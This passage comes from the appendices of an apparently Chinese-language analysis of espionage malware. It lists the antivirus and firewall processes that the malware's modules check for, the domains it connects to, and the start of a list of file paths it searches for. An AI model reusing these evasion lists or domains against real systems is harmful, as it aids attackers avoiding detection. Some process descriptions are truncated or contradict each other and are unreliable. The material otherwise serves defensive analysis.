    F-Secure反病毒软件相关程序。
        | 
  
zlclient.exe
                | 
    ZoneAlarm个人防火墙的客户端程序。
        | 
  
R-Firewall.exe
                | 
    R-Firewall个人防火墙进程。
        | 
  
sww.exe
                | 
    不详。
        | 
  
umxtray.exe
                | 
    TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
        | 
  
ccApp.exe
                | 
    是Norton AntiVirus 2003反病毒软件的一部分。它能够自动保护你的计算机安全。
        | 
  
avpm.exe
                | 
    卡巴斯基Kaspersky公司出品的反病毒套装的一部分。
        | 
  
smc.exe
                | 
    是Norton AntiVirus 反病毒软件的一部分。它能够自动保护你的计算机安全。
        | 
  
PF6.exe
                | 
    Privatefirewall相关进程。
        | 
  
ipcTray.exe
                | 
    NetVeda
      Safety.Net安全软件进程。
          | 
  
fsaua.exe
                | 
    该进程属于F-Secure公司的自动更新代理。
        | 
  
fsqh.exe
                | 
    F-secure反病毒软件的隔离管理工具。
        | 
  
R-firewall.exe
                | 
    R-Firewall个人防火墙进程。
        | 
  
pcipprev.exe
                | 
    防火墙软件。
        | 
  
blackice.exe
                | 
    BlackICE 是一款防火墙软件,blackice.exe为主要进程 。
        | 
  
ekrn.exe
                | 
    是ESET Smart Security或ESET
      NOD32 Antivirus反病毒软件相关程序。
          | 
  
configmgr.exe
                | 
    IBM
      Case Manager中进程。
          | 
  
ipatrol.exe
                | 
    互联网安全联盟,安全软件。
        | 
  
savadminservice.exe
                | 
    SophosAnti-Virus(SAV)是一款英国的防毒软件的一部分。
        | 
  
alupdate.exe
                | 
    是系统正常运转、各种办公软件、游戏运行所不可或缺的重要文件。
        | 
  
Zanda.exe
                | 
    Norman反病毒产品控制程序,同时是驻留精灵程序。
        | 
  
nstzerospywarelite.exe
                | 
    反间谍软件的一部分。
        | 
  
AdoronsFirewall.exe
                | 
    Adorons防火墙应用程序一部分。
        | 
  
vsmon.exe
                | 
    ZoneAlarm个人防火墙的一部分。
        | 
  
snsmcon.exe
                | 
    Safe'n'Sec®图形用户界面是从公司SNSafe与软件属于产品Safe'n'Sec
      2009的进程文件。
          | 
  
vdtask.exe
                | 
    一款虚拟光驱软件。
        | 
  
OEInject.exe
                | 
    Omniquad
      Total Security反病毒软件相关进程。
          | 
  
procguard.exe
                | 
    with description
      GUI Aspect of ProcessGuard is a process file from company DiamondCS belonging
      to product DiamondCS ProcessGuard。
         The
          file is not digitally signed.。
              | 
  
UmxCfg.exe
                | 
    TinyFirewall网络防火墙软件相关进程。
        | 
  
SpywareTerminatorShield.exe
                | 
    pyware
      Terminator进程 一款免费且易用的间谍软件清除软件。
          | 
  
fsgk32.exe
                | 
    -Secure反病毒软件相关程序。
        | 
  
mpfcm.exe
                | 
    不详。
        | 
  
SWNETSUP.exe
                | 
    Sophos
      Anti-Virus反病毒与网络支持服务应用程序相关的进程。
          | 
  
UfSeAgnt.exe
                | 
    是趋势Trend Micro出品的PC-cillin反病毒软件的一部分。
        | 
  
fsguidll.exe
                | 
    一款功能强大的实时病毒监测和防护系统。
        | 
  
clamd.exe
                | 
    杀毒软件Clam AV的相关进程。
        | 
  
PXAgent.exe
                | 
    是Prevx Home 安全软件的相关部分。
        | 
  
snsupd.exe
                | 
    此文件属于产品SysWatch®企业和是由公司©SNSafe软件开发。 此文件描述SysWatch®客户端更新的一部分。
        | 
  
updclient.exe
                | 
    ZoneAlarm公司安全软件升级相关程序。
        | 
  
tikl.exe
                | 
    恶意键盘记录程序。
        | 
  
FirewallGUI.exe
                | 
    一款防火墙个相关程序 。
        | 
  
ZeroSpyware
      Lite.exe
                | 
    zerospyware反间谍进程。
        | 
  
RTT_CRC_Service.exe
                | 
    R-Firewall防火墙的一部分。
        | 
  
SfCtlCom.exe
                | 
    是趋势Trend Micro出品的PC-cillin反病毒软件的一部分。
        | 
  
FrzState.exe
                | 
    冰点还原产品中的一个进程。
        | 
  
avgnt.exe
                | 
    是H+BEDV反病毒产品的一部分,用于扫描你系统的安全问题。
        | 
  
cmdagent.exe
                | 
    Comodo防火墙进程,能帮助您侦测和清除病毒,它还有Vshield自动监视系统, 会常驻在系统托盘,当您从磁盘、网络上、E-mail夹文件中开启文件时便会自动 侦测文件的安全性,若文件内含病毒,便会立即警告,并作适当的处理,而且支持 鼠标右键的快速选单功能,并可使用密码将个人的设定锁住让别人无法乱改您的设定。
          | 
  
sppfw.exe
                | 
    GmbH公司Securepoint软件程序。防火墙类相关软件进程。
        | 
  
cdinstx.exe
                | 
    杀毒软件anti-spyware进程。
        | 
  
aupdrun.exe
                | 
    是Agnitum Outpost Firewall 防火墙自动升级程序。
        | 
  
omnitray.exe
                | 
    Genetec
      Omnicast公司的Network DVR Server进程。
          | 
  
Kpf4ss.exe
                | 
    Kerio个人防火墙的Windows进程的一部分。
        | 
  
gateway.exe
                | 
    WindUpdates的广告计划的一个进程。
        | 
  
FSMA32.exe
                | 
    F-Secure反病毒软件的一部分。
        | 
  
SavService.exe
                | 
    是Sophos Anti-Virus Module软件相关进程。
        | 
  
BootSafe.exe
                | 
    能够快速重启进入安全模式的小程序。
        | 
  
fspc.exe
                | 
    F-Secure的互联网安全套件进程。
        | 
  
AntiHook.exe
                | 
    AntiHook控制中心进程。
        | 
  
dfw.exe
                | 
    Signs防火墙进程。
        | 
  
FSM32.exe
                | 
    是F-Secure反病毒软件的一部分。
        | 
  
Netguard
      Lite.exe
                | 
    ZeroSpyware间碟软件中的一部分。
        | 
  
pfsvc.exe
                | 
    Privacyware创建一个Windows文件,防火墙相关软件。
        | 
  
op_mon.exe
                | 
    OutpostFirewall防火墙的实时监控程序。
        | 
  
zerospyware
      le.exe
                | 
    ZeroSpyware个人隐私防护软件相关进程。
        | 
  
DF5SERV.exe
                | 
    冰点还原产品中的一部分。
        | 
  
TmProxy.exe
                | 
    是趋势Trend Micro出品的PC-cillin反病毒软件的一部分。
        | 
  
safensec.exe
                | 
    Safe'n'Sec 产品中的一个进程。
        | 
  
FSMB32.exe
                | 
    F-Secure反病毒软件的一部分。
        | 
  
Tray.exe
                | 
    NetVeda
      Safety.Net安全软件进程。
          | 
  
umxfwhlp.exe
                | 
    TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
        | 
  
nvcoas.exe
                | 
    Norman
      Virus进程。
          | 
  
FAMEH32.exe
                | 
    F-Secure
      Anti-Virus进程。
          | 
  
tinykl.exe
                | 
    很好用的微小的键盘纪录工具。
        | 
  
ccSetMgr.exe
                | 
    Symantec公司网络安全套装的一部分。
        | 
  
SUPERAntiSpyware.exe
                | 
    是SUPERAntiSpyware反间谍软件的相关部分。
        | 
  
fsav32.exe
                | 
    F-Secure
      Anti-Virus进程。
          | 
  
outpost.exe
                | 
    是Outpost Personal Firewall个人防火墙相关程序。
        | 
  
UmxFwHlp.exe
                | 
    是由TinySoftware出品的一款网络防火墙软件。
        | 
  
Fspex.exe
                | 
    F-Secure
      Anti-Virus相关服务进程。
          | 
  
bdagent.exe
                | 
    BitDefenderProfessional杀毒软件相关程序。
        | 
  
wwasher.exe
                | 
    Webwasher安全产品的相关进程。
        | 
  
VCATCH.exe
                | 
    属于产品VCatch 2003的CommonSearch的相关进程。
        | 
  
spfirewallsvc.exe
                | 
    SecurePoint公司防火墙驱动程序进程。
        | 
  
cdas17.exe
                | 
    CyberDefender
      AntiSpyware 反间谍软件相关进程。
          | 
  
dvpapi.exe
                | 
    Authentium
      Antivirus的相关进程。
          | 
  
fssm32.exe
                | 
    F-Secure反病毒软件相关程序,用于扫描病毒。
        | 
  
livesrv.exe
                | 
    是BitDefenderProfessional杀毒软件在线升级程序。
        | 
  
Fsav32.exe
                | 
    F-Secure反病毒软件相关进程。
        | 
  
附表二
表 5-2连接所有域名列表
adhotspot.biz
               admin-on.biz
               autosync.info
             bannerspot.in
             bannerzone.in
             bestcopytoday.com
             bytewiser.com
             chchengine.com
             chchengine.net
             dailynewsupdater.com
             dbdrivers.biz
             diznet.biz
             dnslocation.info
             dnsmask.info
             dnsportal.info
             dnsupdate.info
             dvmdownload.net
             eventshosting.com
             fastestever.net
             fastinfo.biz
             flashp.webhop.net
             flashupdates.info
             flushdns.info
             isyncautomation.in
             isyncautoupdater.in
             liveservice.biz
             living-help.com
             localconf.com
             localgateway.info
             micromedia.in
             mysync.info
             netproof.info
              | 
    netsharepoint.info
               network-acs.biz
               networkupdate.net
             newsflashsite.com
             newstatisticfeeder.com
             newsync.info
             nvidiadrivers.info
             nvidiasoft.info
             nvidiastream.info
             pingserver.info
             processrep.com
             profcenter.biz
             quick-net.info
             rendercodec.info
             rsscenter.webhop.info
             sec-enhanced.org
             serveflash.info
             serverss.info
             smart-access.net
             smartservicesite.info
             specthosting.biz
             syncdomain.info
             synclock.info
             syncprovider.info
             syncsource.info
             syncstream.info
             syncupdate.info
             traffic-spot.biz
             traffic-spot.com
             ultrasoft.in
             update-ver.biz
             videosync.info
              | 
  
附表三
表 5-3 Advnetcfg.ocx模块检测反病毒软件进程列表,其中有些进程也在别的模块中出现过.
进程名称
        | 
    说明
        | 
  
fwsrv.exe
                | 
    AVG
      Firewall Service进程。
          | 
  
ssupdate.exe
                | 
    UPERAntiSpyware 间谍扫描软件进程。
        | 
  
zerospyware
      lite.exe
                | 
    zerospyware反间谍进程。
        | 
  
dcsuserprot.exe
                | 
    DiamondCS
      ProcessGuard进程 一款系统安全程序。
          | 
  
spywareterminatorshield.exe
                | 
    Spyware
      Terminator进程 一款免费且易用的间谍软件清除软件。
          | 
  
zerospyware
      lite_installer.exe
                | 
    ZeroSpyware相关组件进程       一款个人隐私防护软件。
        | 
  
umxagent.exe
                | 
    CA
      Anti-Virus相关服务进程。
          | 
  
fsdfwd.exe
                | 
    F-Secure
      Anti-Virus相关组件进程。
          | 
  
fspex.exe
                | 
    F-Secure
      Anti-Virus相关服务进程。
          | 
  
sab_wab.exe
                | 
    SUPERAntiSpyware相关组件进程。
        | 
  
blinkrm.exe
                | 
    eEyt
      Digital Security公司开发的产品进程。
          | 
  
pxconsole.exe
                | 
    Prevx
      Home反间谍软件进程。
          | 
  
jpfsrv.exe
                | 
    JeticoPersonalFirewall的服务进程。
        | 
  
lpfw.exe
                | 
    Lavasoft
      Personal Firewall进程。
          | 
  
updclient.exe
                | 
    ZoneAlarm公司安全软件升级相关进程。
        | 
  
fameh32.exe
                | 
    F-Secure
      Anti-Virus进程。
          | 
  
blinksvc.exe
                | 
    eEye
      Digital Security相关组件进程。
          | 
  
spyhunter3.exe
                | 
    SpyHunter反间谍软件进程。
        | 
  
swupdate.exe
                | 
    Sophos
      AntiVirus进程。
          | 
  
nvcoas.exe
                | 
    Norman
      Virus进程。
          | 
  
fch32.exe
                | 
    F-Secure
      Anti-Virus进程。
          | 
  
pgaccount.exe
                | 
    是关于个人帐户的进程项,当注销后用另一个帐户登录计算机,有可能会出现两个该进程项。
        | 
  
blink.exe
                | 
    eEyt数字安全公司开发的产品进程。
        | 
  
umxcfg.exe
                | 
    TinyFirewall网络防火墙软件相关进程。TinyFirewall是TinySoftware出品的一款网络防火墙软件。
        | 
  
zlh.exe
                | 
    是Norman反病毒网络安全套装控制程序。
        | 
  
fsm32.exe
                | 
    F-Secure反病毒软件相关程序,用于管理对病毒扫描的计划任务。
        | 
  
live
      help.exe
                | 
    Windows32的应用程序相关进程。
        | 
  
vcatch.exe
                | 
    属于产品VCatch 2003的CommonSearch的相关进程。
        | 
  
icmon.exe
                | 
    Sophos
      AntiVirus防毒检测的活动监视器进程。
          | 
  
netguard
      lite.exe
                | 
    ZeroSpyware间碟软件中的一部分。
        | 
  
cpf.exe
                | 
    ComodoPersonalFirewall主程序。
        | 
  
nip.exe
                | 
    是Norman反病毒软件控制台程序。它用于实时扫描监控POP3、SMTP和NNTP协议病毒。
        | 
  
asr.exe
                | 
    Advanced_Spyware_Remover反间谍软件程序。
        | 
  
nvcsched.exe
                | 
    NVCSched.exe是Norman病毒控制台计划任务程序,用于进行计划扫描任务。
        | 
  
ipctray.exe
                | 
    NetVeda
      Safety.Net安全软件进程。
          | 
  
sp_rsser.exe
                | 
    SpywareTerminator反间谍软件相关程序。
        | 
  
firewall
      2004.exe
                | 
    WyvernWorks
      Firewall 2004软件进程。
          | 
  
kpf4gui.exe
                | 
    是Kerio个人防火墙相关进程。
        | 
  
ipcsvc.exe
                | 
    NetVeda
      Safety.Net安全软件进程。
          | 
  
sppfw.exe
                | 
    GmbH公司Securepoint软件程序。防火墙类相关软件进程。
        | 
  
avp.exe
                | 
    卡巴斯基杀毒软件相关程序。
        | 
  
fsgk32st.exe
                | 
    F-Secure反病毒软件相关程序。
        | 
  
zlclient.exe
                | 
    ZoneAlarm个人防火墙的客户端程序。
        | 
  
fsguiexe.exe
                | 
    F-Secure反病毒软件相关程序。
        | 
  
umxpol.exe
                | 
    TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
        | 
  
umxtray.exe
                | 
    TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
        | 
  
cclaw.exe
                | 
    Norman反病毒软件病毒控制程序
        | 
  
zanda.exe
                | 
    Norman反病毒产品控制程序,同时是驻留精灵程序。
        | 
  
rtt_crc_service.exe
                | 
    R-Firewall防火墙相关程序。
        | 
  
fsaua.exe
                | 
    -Secure公司的自动更新代理。
        | 
  
fsqh.exe
                | 
    F-secure反病毒软件的隔离管理工具。
        | 
  
pcipprev.exe
                | 
    防火墙软件。
        | 
  
ipatrol.exe
                | 
    互联网安全联盟,安全软件。
        | 
  
licwiz.exe
                | 
    不详。
        | 
  
nstzerospywarelite.exe
                | 
    反间谍软件的一部分。
        | 
  
njeeves.exe
                | 
    Norman反病毒产品的一部分。
        | 
  
vsmon.exe
                | 
    ZoneAlarm个人防火墙的一部分。
        | 
  
fsbwsys.exe
                | 
    F-secure反病毒软件的相关程序。
        | 
  
vdtask.exe
                | 
    一款虚拟光驱软件。
        | 
  
procguard.exe
                | 
    是一个安全软件。
        | 
  
fsgk32.exe
                | 
    F-Secure反病毒软件相关程序。
        | 
  
umxlu.exe
                | 
    TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
        | 
  
fsguidll.exe
                | 
    F-SecureAnti公司的-VirusClientSecurity是一款功能强大的实时病毒监测和防护系统相关程序。
        | 
  
clamd.exe
                | 
    杀毒软件Clam AV的相关进程。
        | 
  
fsma32.exe
                | 
    F-Secure反病毒软件的一部分。
        | 
  
rdtask.exe
                | 
    Windows系统进程。
        | 
  
wsweepnt.exe
                | 
    Sophos
      Anti-Virus进程。
          | 
  
jpf.exe
                | 
    JeticoPersonalFirewall是一款功能全面且简单易用的网络防护软件,可以有效确保计算机免受黑客侵扰
        | 
  
tikl.exe
                | 
    恶意键盘记录程序
        | 
  
kpf4ss.exe
                | 
    是Kerio个人防火墙的Windows进程的一部分。
        | 
  
superantispyware.exe
                | 
    是SUPERAntiSpyware反间谍软件的相关部分。
        | 
  
pxagent.exe
                | 
    Prevx
      Home 安全软件的相关部分。
          | 
  
fsmb32.exe
                | 
    是F-Secure反病毒软件的一部分。
        | 
  
cmdagent.exe
                | 
    Comodo防火墙进程,能帮助您侦测和清除病毒。
        | 
  
cdinstx.exe
                | 
    毒软件anti-spyware进程。
        | 
  
swnetsup.exe
                | 
    Sophos
      Anti-Virus反病毒与网络支持服务应用程序相关的进程。
          | 
  
bootsafe.exe
                | 
    能够快速重启进入安全模式的小程序。
        | 
  
fspc.exe
                | 
    F-Secure的互联网安全套件进程。
        | 
  
antihook.exe
                | 
    AntiHook控制中心进程。
        | 
  
dfw.exe
                | 
    Signs防火墙进程。
        | 
  
elogsvc.exe
                | 
    Entrust
      Entelligence安全软件进程。
          | 
  
spywareterminator.exe
                | 
    Crawler杀毒软件相关进程。
        | 
  
op_mon.exe
                | 
    OutpostFirewall防火墙的实时监控程序。
        | 
  
zerospyware
      le.exe
                | 
    ZeroSpyware个人隐私防护软件相关进程。
        | 
  
fssm32.exe
                | 
    是F-Secure反病毒软件的一部分。
        | 
  
umxfwhlp.exe
                | 
    TinyFirewall相关进程。TinyFirewall是由 TinySoftware出品的一款网络防火墙软件。
        | 
  
authfw.exe
                | 
    Authentium
      Firewall进程。
          | 
  
tinykl.exe
                | 
    很好用的微小的键盘纪录工具。
        | 
  
r-firewall.exe
                | 
    R-Firewall个人防火墙进程。
        | 
  
fsav32.exe
                | 
    F-Secure反病毒软件相关进程。
        | 
  
wwasher.exe
                | 
    Webwasher安全产品的相关进程。
        | 
  
spfirewallsvc.exe
                | 
    SecurePoint公司防火墙驱动程序进程。
        | 
  
cdas17.exe
                | 
    CyberDefender
      AntiSpyware 反间谍软件相关进程。
          | 
  
dvpapi.exe
                | 
    Authentium
      Antivirus的相关进程。
          | 
  
nvoy.exe
                | 
    ZeroSpyware个人隐私防护软件相关进程。
        | 
  
eeyeevnt.exe
                | 
    eEye数字安全套件相关进程。
        | 
  
附表四
表 5-4 Nteps32.ocx模块检测反病毒软件进程列表,其中有些进程也在别的模块中出现过
进程名称
        | 
    说明
        | 
  
avgamsvr.exe
                | 
    AVG Antivirus 组件进程。
        | 
  
fwsrv.exe
                | 
    Jetico Personal Firewall 进程 一款全面而又简单易用的个人网络防火墙。
        | 
  
ssupdate.exe
                | 
    SUPERAntiSpyware 间谍扫描软件进程。
        | 
  
kavmm.exe
                | 
    Kaspersky Anti-Virus Personal Pro 5 进程。
        | 
  
emlproxy.exe
                | 
    Quick Heal AntiVirus进程 一款印度的著名安全软件。
        | 
  
xauth_service.exe
                | 
    不详。
        | 
  
mpsvc.exe
                | 
    微点主动防御进程。
        | 
  
fprottray.exe
                | 
    F-Prot AntiVirus 相关组件进程。
        | 
  
dcsuserprot.exe
                | 
    DiamondCS ProcessGuard进程 一款系统安全程序。
        | 
  
spywareterminatorshield.exe
                | 
    Spyware Terminator进程 一款免费且易用的间谍软件清除软件。
        | 
  
zerospyware
      lite_installer.exe
                | 
    ZeroSpyware相关组件进程。
        | 
  
umxagent.exe
                | 
    CA Anti-Virus相关服务进程。
        | 
  
fsdfwd.exe
                | 
    F-Secure Anti-Virus相关组件进程。
        | 
  
fsrt.exe
                | 
    Fortres Security进程。
        | 
  
rdtask.exe
                | 
    Windows系统进程。
        | 
  
fspex.exe
                | 
    F-Secure Anti-Virus相关服务进程。
        | 
  
sab_wab.exe
                | 
    不详。
        | 
  
avgemc.exe
                | 
    AVG Anti-Virus进程。
        | 
  
emlproui.exe
                | 
    Quick Heal AntiVirus进程。
        | 
  
avgcc.exe
                | 
    AVG Anti-Virus进程。
        | 
  
pxconsole.exe
                | 
    Prevx Home反间谍软件进程。
        | 
  
authfw.exe
                | 
    Authentium Firewall进程。
        | 
  
app_firewall.exe
                | 
    NetScaler App Firewall进程。
        | 
  
lpfw.exe
                | 
    Lavasoft Personal Firewall进程。
        | 
  
avgupsvc.exe
                | 
    AVG Anti-Virus进程。
        | 
  
wsweepnt.exe
                | 
    Sophos Anti-Virus进程。
        | 
  
fameh32.exe
                | 
    F-Secure Anti-Virus进程
        | 
  
blinksvc.exe
                | 
    eEye Digital Security相关组件进程。
        | 
  
spyhunter3.exe
                | 
    SpyHunter反间谍软件进程。
        | 
  
fxsrv.exe
                | 
    不详。
        | 
  
swupdate.exe
                | 
    Sophos AntiVirus进程。
        | 
  
nvcoas.exe
                | 
    Norman Virus进程。
        | 
  
fch32.exe
                | 
    F-Secure Anti-Virus进程。
        | 
  
zerospyware
      lite.exe
                | 
    zerospyware反间谍软件进程。
        | 
  
tsatisy.exe
                | 
    Omniquad AntiSpy软件进程。AntiSpy 可以帮你清除Cookies、浏览网站记录、网 络缓存文件、Windows操作系统中的打开程序记录、最近打开文件,甚 至于Media Player中的打开纪录也可一并清空。
          | 
  
pgaccount.exe
        | 
    是关于个人帐户的进程项,当注销后用另一个帐户登录计算机,有可能会出现两个该进程项。
        | 
  
blink.exe
                | 
    eEyt数字安全公司开发的产品进程。
        | 
  
umxcfg.exe
        | 
    TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
        | 
  
zlh.exe
        | 
    ZLH.exe是Norman反病毒网络安全套装控制程序。
        | 
  
fsm32.exe
        | 
    F-Secure反病毒软件相关程序,用于管理对病毒扫描的计划任务。
        | 
  
avginet.exe
        | 
    AVGAnti-Virus/Spyware软件的在线升级程序。
        | 
  
scanwscs.exe
        | 
    Quick Heal Technologies公司QuickHeal反病毒软件产品进程。
        | 
  
elogsvc.exe
        | 
    来自Entrust Entelligence安全软件进程。
        | 
  
configmgr.exe
                | 
    IBM Case Manager中进程。
        | 
  
vcatch.exe
        | 
    不详。
        | 
  
winlogon.exe
                | 
    Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。
        | 
  
tinykl.exe
                | 
    很好用的微小的键盘纪录工具。
        | 
  
netguard lite.exe
                | 
    不详。
        | 
  
blinkrm.exe
                | 
    eEyt Digital Security公司开发的产品进程。
        | 
  
netmon.exe
                | 
    是NetworkMonitor一款用于管理和监测网络状况的软件进程,或netmon.exe是一个注册的群发邮件蠕虫的进程(小邮差病毒变种Worm.Mimail.m)。
        | 
  
ike.exe
                | 
    不详。
        | 
  
cpf.exe
                | 
    ComodoPersonalFirewall主程序。ComodoPersonalFirewall是一款功能强大的、高效的且容易使用的安全防护软件。
        | 
  
avgfwsrv.exe
                | 
    AVG Firewall Service进程。
        | 
  
asr.exe
                | 
    Advanced_Spyware_Remover反间谍软件程序。
        | 
  
nvcsched.exe
                | 
    NVCSched.exe是Norman病毒控制台计划任务程序,用于进行计划扫描任务。
        | 
  
ipctray.exe
                | 
    NetVeda Safety.Net安全软件进程。
        | 
  
sp_rsser.exe
                | 
    SpywareTerminator反间谍软件相关程序。
        | 
  
firewall 2004.exe
                | 
    WyvernWorks Firewall 2004软件进程。
        | 
  
kpf4gui.exe
                | 
    是Kerio个人防火墙相关进程。
        | 
  
ipcsvc.exe
                | 
    NetVeda Safety.Net安全软件进程。
        | 
  
kav.exe
                | 
    kav.exe是卡巴斯基Kaspersky
      Anti-Virus反病毒软件的一部分。                            
          | 
  
sppfw.exe
                | 
    GmbH公司Securepoint软件程序。防火墙类相关软件进程。    
                | 
  
avp.exe
                | 
    卡巴斯基杀毒软件相关程序。                             
                | 
  
tsmpnt.exe
                | 
    Omniquad MyPrivacy软件进程。Omniquad MyPrivacy 是款通过彻底删除留在计算机上的隐蔽信息来保护你的隐私的软件。        
                | 
  
fsgk32st.exe
                | 
    F-Secure反病毒软件相关程序。
        | 
  
zlclient.exe
                | 
    ZoneAlarm个人防火墙的客户端程序。
        | 
  
fsguiexe.exe
                | 
    F-Secure反病毒软件相关程序。
        | 
  
r-firewall.exe
                | 
    R-Firewall个人防火墙进程。
        | 
  
sww.exe
                | 
    产品名称:爽歪歪,爽歪歪是一款游戏外挂。包括天空小小岛,小小岛,冒险岛等游戏的外挂。
        | 
  
tscutynt.exe
                | 
    产品名称: Omniquad Total Security,是一个安全软件。                    
                | 
  
cdas17.exe
                | 
    不详
        | 
  
cclaw.exe
                | 
    cclaw.exe是Norman反病毒软件病毒控制程序。同时用于Norman反病毒扫描器。
        | 
  
avpm.exe
                | 
    avpm.exe是卡巴斯基Kaspersky公司出品的反病毒套装的一部分。用于保护你的计算机免受网络威胁的攻击。
        | 
  
zanda.exe
                | 
    Norman反病毒产品控制程序,同时是驻留精灵程序。
        | 
  
rtt_crc_service.exe
                | 
    此文件是R-Firewall防火墙的一部分。
        | 
  
fsaua.exe
                | 
    该进程属于F-Secure公司的自动更新代理。非系统进程。F-Secure 原名Data Fellows,是 欧洲乃至世界知名的计算机及网络安全提供商。1999年该公司在赫尔辛基证券交易所(OMX
        Nordic Exchange Helsinki)成功上市。
            | 
  
fsqh.exe
                | 
    F-secure反病毒软件的隔离管理工具,在F-secure防病毒系统中用于集中隔离病毒。
        | 
  
pcipprev.exe
                | 
    防火墙软件。
        | 
  
ipatrol.exe           
                | 
    安全软件,互联网安全联盟公司出品。
        | 
  
licwiz.exe
                | 
    有关间谍软件的恶意文件。
        | 
  
nstzerospywarelite.exe
                | 
    防火墙软件。
        | 
  
njeeves.exe         
                | 
    NJeeves.exe是Norman反病毒产品的一部分。 它用于发送消息给Norman反病毒控制不同模块。同时也用于隔离区文件夹功能。                            
                  | 
  
vsmon.exe
                | 
    ZoneAlarm个人防火墙的一部分。它用于监视网络浏览和对网络攻击进行警报。
        | 
  
fsbwsys.exe
                | 
    F-Secure Internet Security Suite 公司的安全软件。
        | 
  
vdtask.exe
                | 
    虚拟光盘)是一款虚拟光驱软件。
        | 
  
procguard.exe
                | 
    安全软件。
        | 
  
fsgk32.exe
                | 
    F-Secure反病毒软件相关程序。F-SecureAnti-VirusClientSecurity是一款 功能强大的实时病毒监测和防护系统,支持所有的Windows平台,它集成了多个病毒监测引擎,如 果其中一个发生遗漏,就会有另一个去监测。      
                    | 
  
umxlu.exe
                | 
    TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
        | 
  
onlnsvc.exe
                | 
    某公司的安全软件。
        | 
  
fsguidll.exe
                | 
    F-Secure反病毒软件相关程序。
        | 
  
clamd.exe
                | 
    危险的病毒程序。
        | 
  
services.exe
                | 
    services.exe是微软Windows操作系统的一部分。用于管理启动和停止服务。
        | 
  
fsma32.exe
                | 
    fsm32.exe是F-Secure反病毒软件的一部分。
        | 
  
oeinject.exe
                | 
    不详。
        | 
  
updclient.exe
                | 
    不详。
        | 
  
jpf.exe
                | 
    JeticoPersonalFirewall的相关进程,JeticoPersonalFirewall是一款功能全面且简单易用的网络防护软件,可以有效确保计算机免受黑客侵扰。
        | 
  
tikl.exe
                | 
    恶意键盘记录程序。
        | 
  
kpf4ss.exe
                | 
    是Kerio个人防火墙的Windows进程的一部分。
        | 
  
pfsvc.exe
                | 
    pfsvc.exe是由Privacyware创建一个Windows文件,防火墙相关软件。
        | 
  
superantispyware.exe
                | 
    是SUPERAntiSpyware反间谍软件的相关部分。
        | 
  
pxagent.exe
                | 
    是Prevx Home 安全软件的相关部分。
        | 
  
fsmb32.exe
                | 
    fsm32.exe是F-Secure反病毒软件的一部分。
        | 
  
cmdagent.exe
                | 
    Comodo防火墙进程,能帮助您侦测和清除病毒,  | 
  
cdinstx.exe
                | 
    杀毒软件anti-spyware进程。
        | 
  
omnitray.exe
                | 
    Genetec Omnicast公司的Network DVR Server进程。
        | 
  
avgrssvc.exe
                | 
    AVG Anti-Virus杀毒软件的Resident Shield模块进程。
        | 
  
vsdesktop.exe
                | 
    Virtual Sandbox 2.0 Build 209子进程。
        | 
  
swnetsup.exe
                | 
    Sophos Anti-Virus反病毒与网络支持服务应用程序相关的进程。
        | 
  
fpavserver.exe
                | 
    F-PROT Antivirus系统服务进程。
        | 
  
gateway.exe
                | 
    WindUpdates的广告计划的一个进程。
        | 
  
tray.exe
                | 
    雅虎天盾的进程。
        | 
  
bootsafe.exe
                | 
    能够快速重启进入安全模式的小程序。
        | 
  
fspc.exe
                | 
    F-Secure的互联网安全套件进程。
        | 
  
antihook.exe
                | 
    AntiHook控制中心进程。
        | 
  
dfw.exe
                | 
    8Signs防火墙进程。
        | 
  
live help.exe
                | 
    Windows32的应用程序相关进程。
        | 
  
pf6.exe
                | 
    Privatefirewall相关进程。
        | 
  
spywareterminator.exe
                | 
    Crawler杀毒软件相关进程。
        | 
  
op_mon.exe
                | 
    OutpostFirewall防火墙的实时监控程序。
        | 
  
zerospyware
      le.exe
                | 
    ZeroSpyware个人隐私防护软件相关进程。
        | 
  
nvoy.exe
                | 
    Norman AntiVirus杀毒软件相关进程。
        | 
  
umxfwhlp.exe
                | 
    TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
        | 
  
tsansrf.exe
                | 
    Omniquad Anonymous Surfing安全套件相关进程。
        | 
  
fw.exe
                | 
    SoftPerfect个人防火墙相关进程。
        | 
  
jpfsrv.exe
                | 
    JeticoPersonalFirewall是一款功能全面且简单易用的网络防护软件,可以有效确保计算机免受黑客侵扰。
        | 
  
icmon.exe
                | 
    Sophos AntiVirus防毒检测的活动监视器进程。
        | 
  
umxpol.exe
                | 
    TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
        | 
  
fsav32.exe
                | 
    F-Secure反病毒软件相关进程。
        | 
  
onlinent.exe
                | 
    Quick Heal Total安全产品相关进程。
        | 
  
explorer.exe
                | 
    Windows32的应用程序,位于C:\windows\目录下,windows资源管理器程序。
        | 
  
wwasher.exe
                | 
    Webwasher安全产品的相关进程。
        | 
  
spfirewallsvc.exe
                | 
    SecurePoint公司防火墙驱动程序进程。
        | 
  
umxtray.exe
                | 
    TinyFirewall相关进程。TinyFirewall是由TinySoftware出品的一款网络防火墙软件。
        | 
  
dvpapi.exe
                | 
    Authentium Antivirus的相关进程。
        | 
  
fssm32.exe
                | 
    F-Secure反病毒软件相关程序,用于扫描病毒。
        | 
  
eeyeevnt.exe
                | 
    eEye数字安全套件相关进程。
        | 
  
xfilter.exe
                | 
    费尔防火墙的相关进程。
        | 
  
附表五
表 5-5 Browse32.ocx模块遍历计算机系统中是否有如下文件列表
"C:\Program
      Files\Common Files\Microsoft Shared\MSSecurityMgr\ssitable"        
       "C:\Program
          Files\Common Files\Microsoft Shared\MSSecurityMgr\mscrypt.dat"     
           "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\lmcache.dat"     
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\ntcache.dat"     
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\mspovst.dat"     
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\mscorest.dat"    
         "C:\Program
        Files\Common Files\Microsoft Shared\MSSecurityMgr\Lncache.dat"     
         "C:\Program
